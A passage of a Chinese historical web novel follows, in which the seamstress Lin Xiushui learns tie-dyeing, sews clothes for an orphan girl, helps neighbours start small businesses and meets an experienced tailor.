夫家那头让她招接脚夫,就是招赘在夫家,她不情愿,掰扯了好几年,眼下回家跟蓝大娘染布,也是让她将生意做大。 “从前我们家,早在前朝那会儿,就做这绞缬手艺的,”青丫开门请林秀水进来时说,围着条蓝布腰巾,穿着半臂的衣裳,一条蓝布长裤。 她笑得很爽朗,“只是从东京城后,就不许我们做了。” “我记得,那是大中祥符七年时,朝廷再三下令,”蓝大娘说,“我听我娘后来说,打那起就不许民间染了,只许军队里的人穿,以前还做染缬,有专门雕花版的师傅,后面东躲西藏,渐渐都没了。” “到了眼下,过去几十年,朝廷又说能做了,可我娘都过世了。” 解禁下诏的时候,蓝大娘又赶紧把藏了几十年的手艺拿出来,做了一面绞缬的布样,送到她娘坟前去。 青丫走过来说:“你瞧,这都是我们母女俩做的,这手艺我们称绞缬的不多,应当叫作撮花。” 林秀水抬起脑袋,往院子中右边的染架上瞧,早上日头没出,此时有风,吹得上头那一块块蓝布飘摇。 她走近点,每一块蓝布都不相同,上头或是有星星点点的如同夜里繁星,或是白色回纹状,一圈又一圈地绕在蓝布上,也里不规则的圆点,白的时深时浅,深的像天上的云,浅的是淡淡的蓝,那是扎结后慢慢晕色的效果。 绞缬又称撮花,是用线捆扎、缠绕、折叠、打结亦或者缝线的方式,防止扎好的布被染上,通常为蓝白相间的图案。 青丫取下一块递给她说:“这撮花有上百种法子,我们家有以前有留下来的,比如鱼子、方胜,这块是我们新想出来的,叫作茧儿缬。” 蓝布上一团团白色,如同一个个圆圆的蚕茧。 林秀水觉得这手艺跟蚕茧一样,虽是丝丝缕缕,实则生生不息。 这门手艺曾一度断代,历经朝廷封禁,民间匠人关门歇业,藏着各种器具东躲西藏,或是转行,许多年风雨过去,才能光明正大面世。 她光是走到这染架下,面前垂下的布有深蓝、浅蓝、天蓝,上头各种晕色的花纹,她突然涌出来的念头是,她想做衣裳。 浅蓝色又有小团的白色花纹,细麻布材质的,不适合做褙子,但很适合上襦,搭一条偏白挑染的裙子,要满褶裥的。 林秀水又伸手拂过一块蓝布,上头的白很浅淡,印在蓝布上一条条如同水波纹,她想做裙子很合适,不要打褶的,可以系在腰上的合围裙,也可以是直身裙,要是纱质或者罗质的会更好,走起来如同水波摇曳。 不管是什么花样,各有各的美,深蓝的能做件长褙子,稍浅点花纹又不多的,做背心也合适,偏白点的,上头蓝晕色漂亮的,可以做抹胸。 她跟人家话都没说几句,眼神全黏在布上头,洗干净手每块布细细瞧过,连青丫喊她也没听见,她满脑子只有,怎么没做个镂空的衣裳纸样来。 人家青丫说:“小娘子,你不是说要自己染布?” 林秀水则回道:“对啊,做裙子确实好看。” 而后才回过神,讪讪笑了笑,当真是好布迷人眼。 “好看送你一条,”青丫很大气,即使她跟林秀水才见过两面,也没有到她那做过衣裳,但能懂得欣 赏她这布的人,当奉为知己。 林秀水连连摇头,可又承认这句话,因布产生的交情,那可不就是另类的布衣之交。 她今日难得休工,有大半日的空闲能花在这扎染上,想染出独一无二的蓝布来。 蓝大娘拿了细线过来说:“随便扎,扎出来都没能人染得跟你一个样。” 她们绞染有两种法子,一种缝线绑扎,会事先想好什么图案,画在布上,用线慢慢沿着边缘缝合,抽紧再给绑扎起来,染完再剪去。 第二种则是打结,或者折起来,染出来的图案就要惊喜得多。 林秀水觉得头一种法子,像是在炖肉,用细麻绳绑好一块布,要五花大绑,要绑得好看,再给它加点料,如果想染出鱼子缬小小的,斑斑点点的图案,还要加谷粒,绑在布里头。 绑好了,倒水泡湿,再浸到院子里的蓝色大染缸里,用棍子慢慢搅动,让它浸泡得更入味。 不过炖肉要半个时辰,炖布只需要一刻钟的工夫,嫌炖的颜色不够好,还可以多来几次,越久颜色越深。 林秀水染的是自己带来的布头,每一块都是不是特别大,比较好五花大绑,染出来经由日头晒了番。 每块布都不一样,有一块布她说是熬粥熬久了,米粒炸开了花,有一块则是盛粥放久了,像一层皱巴巴的粥皮。 她还在青丫的教导下,做出了她们卖得最差,但是林秀水一眼就瞧上的蛾子花布。 用专门反复折叠的法子,不仅能让染出来的白花纹形似蛾子,还能有触须。 她准备送给小春蛾,她费心做的布,后面小春娥说,请送她蝶子,不要蛾子。 林秀水在染肆里待了半日,自己绑扎,做了十二三块不同的布头,别管好看难看,反正她很满意,大热天的都舒坦的那种,还花五贯买了人家染好的布,青丫给她送到了屋子里。 在屋子里,她摆弄纸样,倒没急着裁衣,而是拿起一边的小纸样,慢慢剪出来,准备先给绢孩儿穿,想想怎么做好看。 最近她其实不算太忙,生意挺多,但是她都没有思绪,尤其改衣裳前面活少的时候好改。不管矮还是瘦,高还是胖,扬长避短就行,而且给衣裳加其他料子,相对而言出彩要容易得多。 可夏天里大家要穿得越轻薄越好,料子要越少越好,葛布硬挺点,穿着人还显精气神,苎麻要松垮得多,料子容易皱,做褙子穿身上,尤其显出身材上的缺点。 想要林秀水改得好看点,最起码不皱,她也没太好的法子,一是多浆洗,二是多熨布,她的意思是穿得舒服就行,纱衣罗裙坐卧行走间,那也是会皱的。 各种问题让她也觉得棘手,才想要找个师父或者是水平更高的裁缝请教。 但其中有一个小娘子,隔一日会过来一趟,问她能不能做一套便宜且好看的衣裳,她说自己多少钱她能攒。 就想要一套是给自己做的衣裳。 今日买了新布,绞缬的花纹不算繁复的,料子也便宜,林秀水就想到她了,想想她瘦弱的体型,跟绢孩儿细长的身形差不多,等裁出来,反复试过后,等人下午上门来。 果不其然,下午人就登门了,急匆匆跑来的,她在边上给人擦桌子打杂的,梳着低矮的发髻,十五六的年纪,穿一身褐布衣裳。 “今日有,”林秀水抢在她之前说,“我特意给你挑的,而且便宜,九百文能做一套。” 李小娘子有点吃惊,将油乎乎的手反反复复擦了擦,“真的?给我挑的?” 她是个孤儿,在慈幼局里长大,从小穿别人的旧衣裳,总是一件衣裳缝缝补补穿三年,有时冬天穿漏风的纸袄,好不容易长到这个岁数,要过十五岁生辰了,想着给自己做套衣裳。 没有人给她做,她给自己做。 一贯钱她有的,攒了许久。 林秀水肯定地回答:“对啊,我挑料子的时候,尽想着按你的身形,穿什么衣裳好看。” 李小娘子一愣,她垂眼,又抬头希冀地问:“能先瞧一瞧吗?” 她看见了扎染过的布头,挂在木架上,虽然都是蓝的,可每一块都很特别,没有相同的花纹。 “这种布每块都很难一样,或者说,就没有相同的,保证你穿上去后,跟别人都不同,”林秀水如此说,找出布尺来。 李小娘子闻言没说话,林秀水走过去说:“你伸手叫我量量。” 即使在这个屋子里,没有第三个人在,宽敞且空旷,只有一堆布料和挂在墙上的纸样,李小娘子站在窗子的背光处,依然感觉到扑面而来的羞赧和局促。 她下了工没洗过身子,她的手上还沾着擦不掉的油花,她想低头看,她的衣裳上是不是沾了油斑,袖口处肯定有黑色的污垢。 “要不,明日吧,明日我再来量。” 林秀水只是笑着看她,并道:“好,我们今日可以先挑花色,想想要做什么样的衣裳。” 李小娘子人生里第一次给自己挑衣裳,她难以忘记这个夏日里,手里一直湿乎乎的,好像很兴奋,可面上又笑不出来,盯着布料出神。 第二日她洗了头脸身子,换了浆洗得很白,但绝对没有油点的衣裳来,她终于能抬起自己沉重的胳膊,让林秀水给她量身,她不敢抬眼,低头看脚,脚在鞋里蜷缩。 “两日后来拿,”林秀水收回布尺,轻轻地笑,“保管合身,你要日后瘦了,或是胖了,还可以找我来改,不收你的钱。” “好,我以后,”李小娘子说,“我肯定还会找你做衣裳的。” 林秀水看她远去,低头细算,纸样打得细致,改了又改,改了一个时辰,汗都往外冒,太瘦的人得多点放量,兴许过了年纪能长。 她拿了水波纹的偏蓝,有点雾蓝色的料子,打算做裙子,确定好不打褶,打褶很麻烦,她还不一定能打好。 抹胸是白的,上头有绣绿色团花的图样,她打算加两条领抹。 林秀水又拿出另一匹蓝的料子,蓝色晕染得很漂亮,并没有突兀的白色,做短褙子应当不错。 大热天熨布最难熬,再贴纸样去裁,裁好她缝褙子,周娘子缝裙子和抹胸,做好再检查熨一遍,挂在衣架上,等主人来拿。 两日后,李小娘子又顶着洗完后,过于蓬散的发髻来的,她来前还去香铺门前待了会儿。 林秀水这屋里有换衣物的地方,有帘子挡着,里头还有个挂衣架,能放衣裳。 李小娘子换上,她低头细瞧,不知道好不好,但是很轻软,薄薄的,她心里像放飞一只小雀。 她走远看镜子里的自己,她长久地盯着,那么合身,不再松松垮垮,宽宽大大,又那么好看,不再是灰扑扑的,她喜欢蓝的。 从来没有穿过这样一套衣裳,她都能在最热的时候,走在人群里。 李小娘子确实穿着衣裳走进人群里,看有人瞧她,她有点放松下来,觉得那人不是在瞧她那缝补过的衣裳,不是在看她不合身的衣裳。 是在看她的新衣裳。 她走在盛阳里,又走过长长街道屋檐下,投下来的阴影里,走了出去,她说十五岁生辰要欢喜。 而后来隔了很久,她才又来林秀水这 做衣裳,换了个别的活计,能有多余的钱,再置办一身,等她以后再过来。 送走李小娘子,又是一个盛夏的午后。 小荷今日没去念书,天太热了,她打瞌睡,而且她听边上的读书声犯困,头老挨桌上,思珍说她打呼噜跟雷鸣一样。 林秀水准备用这蓝布,缝个蓝色水纹的佩囊送给思珍,比较小巧,方形的,能够放那些从各种器具上拿下的裹贴。 隔日下晌等没日头了她带小荷到私塾里去,思珍可喜欢了,拿在手里上瞧下瞧,这个佩囊虽是方形的,但做了拼色,上头盖布用了白色花绫,还缝了颗珠子,从珠子处吊下来两根绿色的流苏坠子。 当即背在身上,还很郑重地说:“我一定要回礼。” 她抱了一卷很长的纸出来,林秀水纳闷,“新出的纸,给我裁衣裳用?” 够多少个人裁的?怕是有十来个了。 “是给你做纸帐用的,藤树皮做的纸呢,眼下文人都爱用这纸帐,”思珍将脸探出来说,“这会儿别用啊,遮不了蚊蝇,冬天用防风的。” “离冬日还早着,你这么快就打算了?” 思珍抹了抹汗说:“是啊,冬日寒凉,我每逢夏日就思冬啊。” “我爹给我这名字取得好,我夏日改名思冬,冬日改名思夏,春秋两季叫不思。” “因为正好睡觉,不思进取。” 林秀水很佩服这一张嘴,她说:“还好不是相思。” 思珍横着抱纸帐,她当即摇摇头,“什么相思啊,我八字都没影呢,倒是最近觉得教人大有长进啊,想多教几人识字呢。” “你瞧桑英识了字多好,我最近在教小荷认衣裳怎么写,我说桑英跟布一样有韧劲,我说你是块绵绸,绵绸坚重。” “夸得怪好,就是听着怪热的。” 思珍说:“那像纱一样凉快。” 林秀水伸手说:“逗你的,如果你有这份想教的心思,我会给你介绍人来的。” “那还是跟小荷这样的小女孩吧,能早点识些字。” 越早越有好的路可以走。 第60章 第 60 章 给自己做衣裳 识字到底什么好的?路能不能好走点。 林秀水问桑英, 桑英说:“那当然,识字认路了啊。” “来来来,我跟你说, 做小牙子真是不做不知道,一做才知道,”桑英捶捶背说, “桑青镇里最多的压根不是桑树,是路啊。” 镇里九坊三十六巷,水路纵横,船多拥挤便不说了, 左右摇船等等便行,但是运米行的米,到了岸上, 那就是个大问题。 即使街道司再三拆除,占道侵街依旧相当严重,铺子里的摆出来,占了大半条街,对面靠河道的摆各种浮铺,原本供十几人并排走的大道,最多五六人过去。 拥挤的街道, 各色招幌乱挂, 又置彩楼欢门, 悬挂各色牌匾, 热闹纷杂,要在这样的道路里,把米粮按写好的条子送到各家各铺手里,对于桑英而言简直要疯。 “之前应下做小牙子的时候, 只想着月钱啊,想着自己能干,”桑英回想这段日子的经历,她只想说,“怪不得要个识字的,怪不得这种活没人抢。” 她说了很多遍,如何先拿着条子,下工前划着米行的船,先打听地方,上了岸在一条街几十家铺面里,抬头挨个认铺面名,找到要支米的铺子。 这算是好找的,米行支米的人那是相当多,毕竟人只要长了嘴,就得吃饭,所以米行收米忙,人又少,全镇半数都得送,临了来人说要送米,立即要送去。 桑英被支使得最多,她年纪小,又识字,好欺负,跟她搭伙的是两位娘子,每次临时来的单子都让她们三个送。 送到铺面里还成,最怕送到城北鱼行、肉行那里,地方大,又脏又乱,摆的摊子不固定,送米很麻烦,要识路要问路要认字。 大家想看桑英哪日撑不住,她偏咬牙撑着,想着在田里种田,那吃老天的饭,下雨也种田,出大日头也种田,还能比眼下要苦吗? 那是真的能,扛米肩膀疼,走路磨得脚趾出血,两腿颤颤,这份一贯八钱,外加月底两斗粮的工,是真的能叫人吃尽苦中苦,方为米行人。 她顶着张晒黑了的脸说:“路当然比以前要好走,我没有大志向,可我就想靠自己吃口饭。” “就得认字,我给我娘捎信,她说我出息了。” 简单三个字,桑英要是在上林塘里,等三十年,等成新妇熬成婆,都等不到这三个字。 走出来又何尝容易,她不会轻易低头回去的。 林秀水当然知道她的不容易,她压根就不会说累就得歇,怎么歇呢?顶多一个月能歇三日。 所以,她真的斥巨资,得亏她眼下赚了点钱,给桑英买了全镇零零散散,大大小小街道的地经图。 这真亏林秀水租过屋子,知道最熟悉每条街巷的非房牙子莫属,他们负责一片地方,每个人手里都有很详细的地经图。 别人还不卖给她,以为她要跟自己抢生意,她最后拿户帖去的,因为房牙子要在官府里登记,她又没专门的牌子。 “认去吧,”林秀水淌着汗,拿着厚厚一叠地经给她,“我们不仅要识字,还要认路。” 桑英简直要哭死,大夏天的连眼泪都流不下来,又急死她了,只好用夸张的手法告诉她,“我心里就跟大日头,突然下了阵雷雨一样,稀里哗啦,呜呜啦啦。” 有了这么多地经,还按各街道坊巷写好分的,至少好一阵日子里,桑英不用太吃力了。 林秀水擦擦自己的脸,又将湿巾子盖在自己脸上,闷闷地说:“太懂了。” 就像从前的日子,她走远道去一户人家中改衣裳,桑英也是提前打听好,跟她一起去的。 走了好多弯路,眼下能轻松些也好。 这破天太热,林秀水摇船摇得累个半死,比抽纱抽得还累,她打心里决定,从明日起,她要花钱坐别人的船。 不然她根本不想上工。 要问她挣了多少钱,那就是除了之前攒的十五两,并后来攒的三贯,其余真是挣了又花,花了又挣,谁能懂。 总比不挣钱,还日日挥笔的街探广惠要好许多。 “钱这种东西有则有,没有就没有,”广惠说,“但我有六只猫。” 林秀水纳闷,跟猫有半毛钱的关系。 “没有关系,就想说一嘴,”广惠说,想猫了,即使早上挨个嗅嗅才走的。 他坐廊棚底下,跟林秀水隔老远,把今日份小报递给她。 这玩意只有林秀水跟老算命会瞧,其他人要靠听,她就说得认字。 该说不说,广惠功名考不上,想出家当道士但猫缘未断,赚钱赚不来一文钱,天天能靠家底混吃混喝的,可这小报写得确实有意思。 幸好广惠不知道他有这么多前缀,不然非得说,请加上他养活了六只猫。 还有他能受贿,把别人的事写在小报上,能分一个馒头,或者自家有的菜,还有将自家猫抱来给他瞧的,一件件,一桩桩掰开来讲,难道情分不值钱吗,那猫也值钱。 反正林秀水看了眼,她知道陈桂花一定塞钱,不,肯定塞人皂角了。 就喜欢送人香水行里最多,又不大值钱的皂角。 因为小报上在一堆乱七八糟的缝补东西,赫然插了一张小小报,上头写着,桑树口打头第一家,陈桂花洗小孩身子便宜,洗过的小孩没有说不好的,不管黑的脏的进去,都能光溜溜出来。 以下省略几百来字赞美之词,上从手法,下到皂角,连日日烧水都能写几十字。 她看广惠,能不能不要浪费水? “她给的实在太多了,”广惠耸肩,压根没办法拒绝,“她说皂角不是给我的,是给我家猫的。” “写完得还我,人家要贴墙上呢。” 林秀水在桑树口谁也不佩服,就佩服陈 桂花,别看人家平时嗓门扯得大,总跟柴娘子为柴不好烧吵嘴,但人家实则粗中有细。 这找广惠写的小报,压根不是为了广而告知。 陈桂花伸手接过小报,看不懂,看不懂就对了,她两手小心捧着,“那当然,这小报什么的,念一次就乐过就没了的,还是得贴墙上,谁也看不懂,走过路过都奇怪才好。” “一奇怪就想知道,想知道就知道我陈桂花在做的事情,那可都是好事。” 广惠虚心请教,“怎么算好事?不收钱?” 陈桂花自有她一套说法:“我就问你,女加子合起来是不是好,我又给女娃洗,我又给男娃洗,你说是不是好事?” 林秀水闻言沉默,无法反驳,压根无法反驳。 “广惠,姨再给你塞点皂角,你给姨按你那猫图画张洗浴的图呗,这街头巷尾哪间哪铺,都不如你画得好啊,”陈桂花搓了搓手说,“画大点啊,不然别人瞧不懂。” 广惠乐呵呵答应。 只有林秀水抿唇,跟陈桂花走了一段路,走过桑树才问道:“哪里遇上麻烦了?” 陈桂花正低头看小报,闻言有些愣,而后又笑笑,“没有,想多赚些钱嘛,多赚点。” 其实倒真的有,人人以为香水行夏日活计最多,毕竟出汗就想洗身子,但压根不是那么回事,冬日家里烧水费劲,实在不愿意烧,香水行生意多。 到夏日里,随便打盆冷水来,就地擦一擦,或是夜里到河里洗,坚决不多花一文钱。 香水行见人一少,立即安排起两趟工,做早工和晚工的,月钱减半,陈桂花没闹,她只默默选了早工的。 晌午回来就琢磨,自己接活洗,她不止洗身子,还附带洗小孩头发、衣裳,能补上这亏空,实则亏大了,少挣七八百文。 她又没人帮衬,婆母早没了,男人出去就跟死在外头一样,只捎了两贯钱来,她娘家倒是靠得住,可她总不好要老娘的钱。 林秀水猜了猜,也能猜出个大概来,她只是不戳破,反而道:“这样写不行。” “怎么算洗得干净,到底什么算好?” “你得打出点别人没有的,比如给小孩洗身子用肥皂团,洗头用木槿叶,还可以收艾蒿来,夏天热蚊虫多,可以洗艾蒿澡,”林秀水到陈桂花家里,继续说道“你将洗头和洗身子分开来,洗头可以接点年纪大,头发长,又不好打理的,我觉得你梳发髻手艺也好,再多学学,洗了头说能编发髻,不也可以赚些钱来?” 陈桂花惊呆,怎么她就想不到。 “秀姐儿,你咋那样好心,什么都跟我说,”陈桂花挪一挪凳子,刮的木地板擦擦几声,“我赚了钱又不能分你点。” 她又闭起眼自我妥协,“分点,分点也成。” “谁说我要分钱了,以后我们可以一起赚钱的嘛,”林秀水突然来了句。 “姨啊,先去学点手艺,不要怕花钱,抠下来一文钱两文钱的,能当吃能当喝的啊,东西要出挑,招牌才能打得响。” 陈桂花虚心求教,“那我该咋办?” “先练洗头功。” “啊?” 林秀水很认真,她觉得洗小孩身子,可能还没洗头赚得多,小孩子嘛,没见一到夜里就跑到水里,涮一涮就干净了。 她的头发压根不是涮的问题,又长又难打理,拆了发髻就打结,她每两日洗头,那真是低着脖子弯着背,洗头跟上刑一样,都忍不住叫唤。 让她姨母帮忙,那更不行,她能叫得跟杀猪一样。 她要把头发外包出去。 不然三千烦恼丝,她可能只剩烦恼,没有丝了,因为全掉了。 洗头外包给陈桂花,她为了赚钱,那是相当上心。 买了专门洗头的木槿叶,把家里小木榻收拾出来,擦得锃光瓦亮的,让人躺上头,她还会先用木梳子把头发梳通顺了,一遍遍倒水、慢慢搓洗。 全程只问水烫不烫,冷不冷,多余半句废话都没有,手法老道,不轻不重。 林秀水终于体会到,小荷每次洗完澡说的舒服了,因为真舒坦啊。 就跟大热天渴得不行,喝了口冷冰冰的水一般。 陈桂花看她闭着眼,以为自己洗得不行,忙问道:“咋的,我这手法不行?” “很行,”林秀水说,“只是有一点不大好。” “哪一点?” 林秀水说:“对我的钱不大好。” 她说笑的,而是洗完太舒坦了,突然就通窍了,夏天里,缝补生意不行,还可以做别的买卖营生赚钱。 她顶着头尚未擦干的头发,说要跟陈桂花做买卖。 可把陈桂花吓死了,“我没给人洗傻吧。” 那当然没有,林秀水只是在想,天热起来后,油布手套已经不好卖了,她原先刨除请几位娘子缝线和剪布的钱,一个月光是靠卖手套能挣三贯多。 眼下是八百文,还是原先洗衣行里的人先买着,准备到秋冬再用,毕竟大热天的,也没有人喜欢戴手套啊。 她原本已经接受,反正钱来钱往,这卖不出去,就卖别的,可前段日子来来回回,她也寻摸不出来,有什么既简单,布可以供得上,而且还好卖的。 其实不大有,越细巧的东西,做得麻烦,而且她可以保证自己做好,但没法要求别人也能做好。 眼下这一洗,倒是想通了,她可以做纱袋,套在肥皂团可以起泡,而且能用这种小纱袋,倒艾草进去,泡在水里,不仅可以倒艾草,还可以倒香水行里的干玫瑰花瓣、澡豆等等,洗脸洗身子都合适。 就算这卖不出去,她还可以转到卖茶叶、香料上去。 最要紧的是,她手里的纱来路比市面小经纪要多得多。 自从抽纱绣从领抹处搬出来后,她的日常之一就是去挑纱缎,什么素纱、天净纱、三法暗花纱、粟地纱、茸纱,她抽了许多的纱缎,伸手一摸就知道漏不漏丝,好不好挑线。 纱袋虽小,只抽口系绳毫无花样可言,但那也是得好好挑的,不漏丝是前提。 对于普通人家而言,即使是毫无花样的素纱,那一匹也相当贵,从前林秀水是不会考虑的,宁肯用麻、绢等厚料子来代替。 今时不同往日,缝补处赚帐设司的钱,做完帐幔做帘布,有不小的进账,几个缝补婆子能赚翻倍的钱,裁缝作跟帐设司来往频繁,抽纱绣在其他闺阁娘子那里又赚,也算是有了名声,只不过抽得太慢,花样越来越繁杂。 她月中能领到额外的贴补,一桶冰,两篮子鲜果,青果行从各处运来的,有只蜜筒甜瓜和十来个林檎,一篮子的椒核枇杷,没有子的又叫椒子枇杷,以及最时兴的杨梅。 还有两匹夏布,她通通换了素纱,顾娘子说让她自己挑,她挑了两匹便宜且浆好的素纱,以及抽纱绣里那些抽下来的纱线,都归她了。 纱袋要用纱线缝,这素纱有些厚重,孔眼较粗,她抓了把澡豆,套进去拉紧袋口,放在水里来回攥,不多时便起泡了。 等下回裁缝作里来了不好用的纱,她就买下来,然后做浴球。 她深感自己聪明,而陈桂花的想法是,“这么好,倒艾草进去,那一把艾草能用好多遍了!” 林秀水默默收回自己要说的话,在抠这件事上,陈桂花真是秉持本性。 人家在赚钱这事上,勤勤恳恳毫不马虎,陈桂花自己都说,钱是她亲娘。 她先卖纱袋到香水行里,她啥也不说,先套了肥皂团,吭哧吭哧洗了许多白泡泡出来,满满一大盆,行老一看,立即说要买。 泡多,那说明他们香水行里用料扎实,当然主要图便宜。 九文钱一个,十七文钱两个,二十五文三个的纱袋,买三个相当于倒挣两文钱。 那真是半点不亏,不过只限前三,往后买十只袋子送一只。 光香水行就要三百个纱袋,装皂角的,装澡豆的,装洗面澡豆的,那种专门用豌豆碾细放料的,装各色花瓣的,诸如种种。 光定钱陈桂花就收了一贯六,因为林秀水说信得过她,先卖后付钱。 陈桂花揣着钱,已经恍惚了一路,想掐自己一把,手停在半空又下不去手,最后拍拍自己的脸。 她每个抽一文钱,转手能得三百文。 “我没疯吧?”她将钱给林秀水说。 林秀水看了她一眼,发髻都跑散了,软趴趴地搭在额头,整个人欣喜欲狂,她诚实地说:“看起来是。” “我的娘嘞,我能多赚这些钱,”陈桂花一屁股坐在凳子上,她按住自己要跳出来的心,一字一句在那说,“我就买个好 浴盆,我买肥皂团,我练洗头功,我就去跟人家学发髻手艺。” 她懵懵的,仿佛开窍了,卸了劲似的,突然地冒出来这种念头,不再指望她的儿子,不盼望什么学田,也不指望她一年不回几趟家的官人,想着他们赚钱,想着他们出息,想着自己能靠他们过好日子,可那是遥遥无期的东西啊。 她盼不来的。 林秀水将数好的钱推过去说:“眼下就可以去。” “这会儿就可以学。” 陈桂花摸摸自己凌乱的鬓角,她喃喃地说:“自己去学。” 她失魂落魄走开,又突然跑回来,拿了钱跑出去说:“对啊,我自己去,秀姐儿,等我下次给你送头猪来。” 王月兰正提着汤瓶回来,碰上她风一样跑出去,嘀咕了句,也知道她俩最近的生意,从手套转成纱袋,进屋后收了伞,不免好奇,“这纱袋比你做手套、香囊、绢孩儿要赚得多?” “是啊,别看这玩意小,又没有什么花样,可做起来快,”林秀水说,别看零零散散一去,一个挣不了太多,可多的叠加起来,一月也能赚个三五贯,或许还能更好点。 她估计没人抢这生意,纱袋按最起码便宜的两贯一匹来算,一匹能裁两百来个的话,至少一个都要十文往上,要用好一点的,简直在做亏本生意。 林秀水能买到便宜且低于市价的纱,感谢抽纱,抽纱使人高兴,今日先说一下违心的话。 她想要多多赚钱,赚多多的钱,最好能开间铺子。 并已经跟张牙郎打听过,临街好的地段光租的话,一个月要五到十贯,买的话,看大小要七十贯到一百多贯。 她存下来的也只有二十贯,没打算立即租铺子,做裁缝可不如缝补好做,支个摊坐下来,别人东西拿过来,该补就补,该修就修。 如果是跟她眼下这样,零散接点做衣裳的,有间屋子就能做了,可是人总想被更多的人知道,裁缝做的衣裳想要更多的人看见。 租铺子的前提,她得先学好手艺,得有不少于十匹的布,没有哪个裁缝铺子连这点布都没有的,最最重要的,要有钱! 她在纸上划来划去,学好手艺,这个会一直学的。 十匹布最少要二三十贯,她划掉,先有三匹布,这样一看,顺心多了,三匹布怎么了,她还给自己找了个稳定出货的染肆,绞缬染出来独一无二的那种,这么一想,有盼头多了。 甚至能数一数手里有的布,一匹不嫌少,两匹三匹好,相当满足,睡觉睡觉。 等到了转日里,陈桂花真去学梳头手艺,并且叫木工来,叮叮哐哐捯饬自己的家,一连好几日,王月兰都有点难受了。 她难受的点在于,“陈桂花搞得阵仗那么大,显得我不学点,落人家后头去了。” 王月兰绝对不允许,哪天穿一身绫罗绸缎的陈桂花,带着玉冠高髻出现在她的面前,说自己发达了。 她却还是没有一点长进,就在丝行干着缫丝的活计,日后全靠外甥女发家。 这简直比做噩梦,有人抢走了她全部家当,只给她一文钱还要可怕。 她心里急得团团转,来回想找什么东西,面上却平静地说:“思珍那里收不收我岁数这样大的。” “肯定收,”林秀水应得那叫一个快,“我们就去学,我给姨母你出束脩。” “为什么叫你说来,感觉我是你女儿。” 林秀水才不管,她之前跟姨母说,要认字多认字,王月兰压根不想学。 这下好了,该死的攀比心。 一下叫王月兰冒出了点心气,她的心气是,迟早有一日能把屋税和户帖上的字看懂。 然后比陈桂花多认识几个字,不跟小荷比。 可她到私塾门口,人就开始退缩,当然林秀水跟思珍提前说过,硬拉着人进门的。 王月兰学不会也硬着头皮学。 她学过一次后,再也不说小荷了,这玩意是真难啊。 而林秀水也有此同感。 她在见一个老裁缝的路上,是个功底特别扎实的裁缝,据说看人下布尺,不用量身,就知道穿什么样的衣裳合适。 是领抹作的老裁缝引荐的。 结果人家见她头一句话是,“先给自己做身衣裳。” 60-65 第61章 第 61 章 金字招牌 林秀水发誓, 她穿得很体面。 知道要来见个做过二十几年衣裳的老裁缝,她连头发丝都是新洗的。 更别提衣裳了,她确保她的浅绿色短褙子没有褶皱, 甚至搭了条同色系的满裥裙,乍眼的都没穿,不会出错的。 “别往自个儿身上瞧, 衣裳没问题,”金裁缝说,她两鬓斑白,面上老态龙钟, 穿着一件褐色印蓝花的长褙子,搭了条枣红色团花的裙子,不梳高髻也没有戴冠, 可压得住。 她问:“你寻常给自己做衣裳吗?” 林秀水终于将目光从衣裳上移开,她老实说:“不大做,通常给别人做衣裳的多。” 每次给自己裁衣裳,她都是靠大概放量出来的,或者是在旧衣上裁改纸样,不如给别人做的那么合身。 “你一进来我就瞧见了,肩膀处不大合适, 线要再往里收一收, 且裙子可以再大些, 你人身形小, 这样衬得窄了些,”金裁缝请她坐下来,温和地说,“我年轻的时候当裁缝, 不是奔着学手艺去的。” “我那时候就想日日穿漂亮衣裳,学了自个儿给自个儿做,每年新丝刚上来,有新布的时候,先挑自己喜欢的,要自己先上身穿过,再给旁人做。” “什么料子上身过才知道,哪里好哪里不足,衣料这东西,做完平铺觉得哪哪都好,上身一穿毛病尽显。” 林秀水认真坐好,她忽而抬起头来,想想许多裁缝,确实穿得光鲜亮丽,时常要去买新布料穿身上。 她不大相同,她喜欢各色料子,每看到一匹颜色花样新鲜的料子时,她冒出来的念头是,这块料子做衣裳,给谁穿肯定很合适。 从来没有想过说,这块布应当给自己做衣裳,她觉得很费钱,两贯多一匹布,最多做裙子或是一件短褙子加上抹胸。总是舍不得,给别人做又赚又能看见衣料上身,她就赚双份的钱。 也确实没穿过绢、麻、葛布衣料外的衣裳,不大清楚穿着如何,别不别扭,哪块不合适,只是知道真的很麻烦。 比如穿纱衣的要防止各种勾丝,她补过那么多纱衣,听了许多许多惨案,有的指甲长一点,尖锐些刮擦过便要勾出丝来,座椅太糙了,坐的时候是把衣裳撩起来坐的。 金裁缝笑着道:“我当裁缝,自己的衣着先做好,不能叫人家挑了毛病去,我自己就是自己手艺的门面招牌。” “是以才叫你先好好给自己做身衣裳,哪怕平日里做活不穿。” 她出入各种富贵人家,上门做针线活,那经手的活多了去,她跟裁缝作里的各处做活娘子不同。 针线人又属于专门做衣裁缝,跟林秀水这种相比,要专精于做衣上,得会量身、挑布选布配色、裁剪缝衣,不只要合身,要各种场合里穿能够合宜,一点不如意都不能有。 几十年来练就了一眼看身段、面相,就大概能得知要穿多长多大,适合颜色,什么样式。 当林秀水一进门,穿得有些朴素,过于沉稳,不像她想得那 样秀巧。金裁缝对林秀水颇有了解,她有一条领抹作老裁缝送的领抹。 是一条菱纹格的领抹,一道道纵向横向交织的蓝绿线,编出了镂空的花样,在这菱格交织的中间,绣上了各色的小花,有桃花、栀子、榴花等等,精巧又别致。 只是她没有一件能搭得上的衣裳,为此还专门准备做一套来,又去裁缝作定了一条其他花样的,那边说这个月排满了,要等到下半个月后旬,送她一条别的领抹先,可她来来回回就念着那条呢。 这回倒是碰巧了,老裁缝找她时,她当即应下了。 只是如今见了人,就想多说两句。 “我说实话,你穿粉绿,或是蓝的肯定好看,”金裁缝又犯了老毛病,“你人高瘦,褙子可以穿长点,到膝盖处开衩,裙子褶可以打得不要那么多,不要太板正,你适合蓬一点的。你腰身细,可以再绑一条绿丝绸的布,不,桃粉的也可以,要两尺长差不多,在中间打个结,垂到这里来。” 林秀水难得有点懵,正常不该是,她送礼先相处,再慢慢讨教吗?这跟她昨夜预想不一样。 但她反应很快,她从包里掏出画眉笔来,拿张纸说:“好,我先记下来。 ” 金裁缝被她整得反倒一愣,低头看她的笔,又移到她身上,而后笑道说:“好好,会识字好,你记着吧,下次碰到你一样瘦的,腰身要注意,有好细腰的,那就往上多做截,喜欢不要那么瘦的,百褶最好,又多又密的。” 话绕过来,“领抹也可以做宽点,你肩不算宽,能再宽点,你不是在做领抹,不给自己做一条?” 林秀水抬起头,她再度诚实地回答,“得先做别人的,手里活多着呢。” “那,那个”,金裁缝一本正经地问,“绣茉莉花的,拿了花样子来的,什么时候能做到呢?” 